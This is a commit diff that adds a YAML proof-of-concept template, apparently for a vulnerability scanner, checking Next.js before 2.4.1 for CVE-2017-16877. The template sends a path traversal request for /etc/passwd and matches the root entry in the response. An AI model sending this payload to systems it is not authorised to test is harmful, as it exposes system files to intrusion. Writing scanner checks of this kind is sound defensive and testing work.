优化xray解析模块,支持groups、新增poc

WebScan/pocs/nextjs-cve-2017-16877.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-nextjs-cve-2017-16877
+rules:
+  - method: GET
+    path: /_next/../../../../../../../../../../etc/passwd
+    follow_redirects: false
+    expression: >
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  version: <2.4.1
+  author: Loneyer
+  links:
+    - https://github.com/Loneyers/vuldocker/tree/master/next.js
+    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9